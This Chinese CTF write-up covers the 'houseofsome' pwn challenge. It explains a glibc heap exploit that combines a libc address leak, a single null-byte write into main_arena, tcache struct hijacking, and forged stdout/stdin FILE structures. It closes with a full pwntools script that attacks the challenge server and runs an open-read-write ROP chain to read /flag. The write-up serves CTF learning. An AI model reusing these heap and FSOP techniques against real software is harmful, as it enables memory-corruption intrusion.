文章

2023年春秋杯网络安全联赛冬季赛pwn方向houseofsome-WriteUps

  • 2023年春秋杯网络安全联赛冬季赛 ​pwn 方向 HouseofSome​ , 题解

image

程序保护和沙箱

image

​​

菜单功能 泄露libc上的地址

  • scannf("%ldd",&xx)​ 传入 -​ 后面报错 会给出 libc上的地址

image

draw功能 任意地址写一个NULL 字节

  • 通过上面泄露的_IO_2_1_stdin_​地址,我就基本上可以利用 draw​ 功能在 libc可写的地方写入一个NULL字节,写到哪里呢??

  • 写 到 main_arena + 1 (add 一个堆块 保证 top_chunk 的低地址是 0x00)
  • 需要爆破一点 保证 heap 地址起始是 heap_base & 0xFFFF == 0x0000​​ ,然后攻击 main_arena+1​​ 的 位置 写 0x00 (利用 draw任意地址写 one null 字节, )
  • 这样的话 top_chunk​ 就会指定 heap 的起始位置 也就是 tcachebins​ 结构体,下一次申请堆块的时候就可以 控制 tcachebins​ 结构体了,从而达到任意地址申请

  • 攻击成功后 main_arena 地址就指向了 heap_base , 也就是 修改了 top_chunk 的起始地址,申请的时候就会申请到 tcachebins 结构体上.

控制 tcachebins 结构体

  • 攻击 tcache结构体 ,控制链表数量和申请的地址

image

任意读,任意写

  • 首先利用 _IO_2_1_stdout_​ 泄露 environ​ 也就是栈地址

  • 有了 stack地址 下一步就是利用 _IO_2_1_stdin_​ 任意地址写入, 在read 返回地址写 ORW_ROP

1
2
p *(struct _IO_FILE_plus *) &_IO_2_1_stdout_
p *(struct _IO_FILE_plus *) &_IO_2_1_stdin_
  • 攻击 _IO_2_1_stdout_​, _IO_2_1_stdin_​,fake_IO_FILE
1
2
3
4
5
6
7
8
9
10
11
12
#  攻击 _IO_2_1_stdout_ 任意地址内容泄露
environ = libc.sym['environ']
pay = p64(0xFBAD1800) + p64(0) * 3 + p64(environ) + p64(environ+8)
add(0x240,pay) 


stack = uu64(ru('1. ')) - 2408 + 0x18 # read 的返回地址
lss('stack')

#  攻击 _IO_2_1_stdin_ 任意地址写入内容
pay = p64(0xfbad1800) + p64(0) * 6 + p64(stack) + p64(stack + 0x400)
add(0x350,pay) 

最后的利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
from pwn import *

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)
lss     = lambda s                  :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))

context.arch      = 'amd64'
context.log_level = 'debug'
context.terminal  = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.RE:
        return remote()
    else:
        return process([binary] + argv, *a, **kw)


binary = './houseofsome'
libelf = './libc.so.6'
if (binary!=''): elf  = ELF(binary) ; rop=ROP(binary);libc = elf.libc
if (libelf!=''): libc = ELF(libelf)

gdbscript = '''
brva 0x000163A
brva 0x000001875
brva 0x1804
#continue
'''.format(**locals())


for i in range(100):
    #io = process(binary)
    #io = process('./test/houseofsome')
    io = remote('39.106.48.123', 33789)


    def add(size,name,i=1):
        ru('> ')
        sl((i-1)*'0' + '1')
        ru('size> ')
        sl(str(size))
        ru('name> ')
        sl(name)
    def x_dev(dev):
        ru('> ')
        sl('2')
        ru('dev> ')
        sl(str(dev))
    def draw(offset,l):
        ru('> ')
        sl('3')
        ru('offset> ')
        sl(str(offset))
        ru('length> ')
        sl(str(l))
    def show():
        ru('> ')
        sl('4')


    sl('-') ##
    ru('invalid option ')
    x = int(ru('.\n'))
    libc_base = x - 2095008 - 0x21000
    lss('libc_base')
    pay = p64(libc_base) * 0x40



    libc = ELF('./libc.so.6')
    libc.address = libc_base
    read            = libc.sym['read']
    setcontext      = libc.sym['setcontext']
    _IO_2_1_stdout_ = libc.sym['_IO_2_1_stdout_']
    _IO_2_1_stdin_ = libc.sym['_IO_2_1_stdin_'] 
    _IO_2_1_stderr_ = libc.sym['_IO_2_1_stderr_'] 
    _IO_wfile_jumps = libc.sym['_IO_wfile_jumps']
    _IO_list_all =   libc.sym['_IO_list_all']
    environ =   libc.sym['environ']

   
    #pay  = p64(0) * 14
    #pay += p64(0x414243) + p64(0x0000000100000000)
    #pay = pay.ljust(0x100,b'\x00')
    ##pay += p64(0) * (64)
    ##pay += p64(0x414243) + p64(0x0000000100000000)
    ##pay = pay.ljust(0x2f0,b'\x00')
    #pay = pay * 0x20
    #add(0x2000,pay)
    #add(0x2000,pay)
    #

    add(0x380,'1234')
    x_dev(2)#
    target = libc_base + 2092288+0x21000 + 1# main_arena
    #target = read
    offset = target - 0x114514000
    lss('libc_base')
    lss('target')
    lss('offset')
    lss('_IO_2_1_stdout_')
    #gdb.attach(io)
    #
    #add(0x3a0,b'\x00'*(0x380-0x88)+p64(0x20031)+b'\x00'*0x28+p64(0x20001))
    #gdb.attach(io,gdbscript)
    #gdb.attach(io)
    draw(offset,1)
    try:
        #pay = flat({
        #    0x00: 0,
        #    0x46: 0x010001,
        #    0x198: 0x114514000,
        #    0x1a0:_IO_2_1_stdout_
        #},filler=b"\x00")
        #pay = flat({
        #    0x00: 0,
        #    0x46: 0x010001,
        #    0x198:_IO_2_1_stdout_+0x68,
        #    0x1a0: 0x114514010
        #},filler=b"\x00")

        pay = flat({
            0x00: 0,
            0x46: 0x01,
            0x68: 0x01,
            0x198:_IO_2_1_stdout_,
            0x220:_IO_2_1_stdin_
        },filler=b"\x00")
        # tcachebins
        # 0x250 [  1]: 0x7ff31e1ff808 (_IO_2_1_stdout_+104) ◂— 0x7ff4e12e0b3f
        # 0x360 [  1]: 0x114514010 ◂— 0x114514
        # 0x390 [  0]: 0x51
        add(0x230,pay)
        sl('00')
        ru('> ')
        lss('libc_base')
        lss('target')
        lss('offset')
        lss('_IO_2_1_stdout_')


        environ = libc.sym['environ']
        pay = p64(0xFBAD1800) + p64(0) * 3 + p64(environ) + p64(environ+8)
        add(0x240,pay) #  攻击 _IO_2_1_stdout_ 任意地址内容泄露

        stack = uu64(ru('1. ')) - 2408 + 0x18
        lss('stack')

        pay = p64(0xfbad1800) + p64(0) * 6 + p64(stack) + p64(stack + 0x400)
        #gdb.attach(io)
        add(0x350,pay) #  攻击 _IO_2_1_stdin_ 任意地址写入内容

        #栈上 ORW_ROP
        pause()

        ## ORW_ROP
        libc_rop = ROP(libc)
        rax = libc_rop.find_gadget(['pop rax','ret'])[0]
        rdi = libc_rop.find_gadget(['pop rdi','ret'])[0]
        rsi = libc_rop.find_gadget(['pop rsi','ret'])[0]
        #rdx = libc_rop.find_gadget(['pop rdx','ret'])[0]
        rdx = libc_base + 0x0000000000096272 #pop rdx ; or al, 0 ; ret
        #rdx = libc_rop.find_gadget(['pop rdx','pop rbx','ret'])[0]
        syscall = libc_rop.find_gadget(['syscall','ret'])[0]

        orw_rop_addr = stack

        orw_rop  = p64(rdx) + p64(0) + p64(rax) + p64(2) + p64(rdi) + p64(orw_rop_addr+0xb8) + p64(rsi) + p64(0) +  p64(syscall)
        orw_rop += p64(rdx) + p64(0x100) + p64(rdi) + p64(4) + p64(rsi) + p64(orw_rop_addr+0xb8) + p64(libc.sym['read'])
        orw_rop += p64(rdx) + p64(0x100) + p64(rdi) + p64(1) + p64(rsi) + p64(orw_rop_addr+0xb8) + p64(libc.sym['write'])
        orw_rop += b'/flag'.ljust(0x10,b'\x00')
        sl(orw_rop)

        io.interactive()
    except:
        io.close()
        continue


image

参考出题人博客的houseofsome

1
https://blog.csome.cc/p/house-of-some/#FSOP%EF%BC%81

image

本文由作者按照 CC BY 4.0 进行授权

© imLZH1. 保留部分权利。

本站总访问量

本站采用 Jekyll 主题 Chirpy

热门标签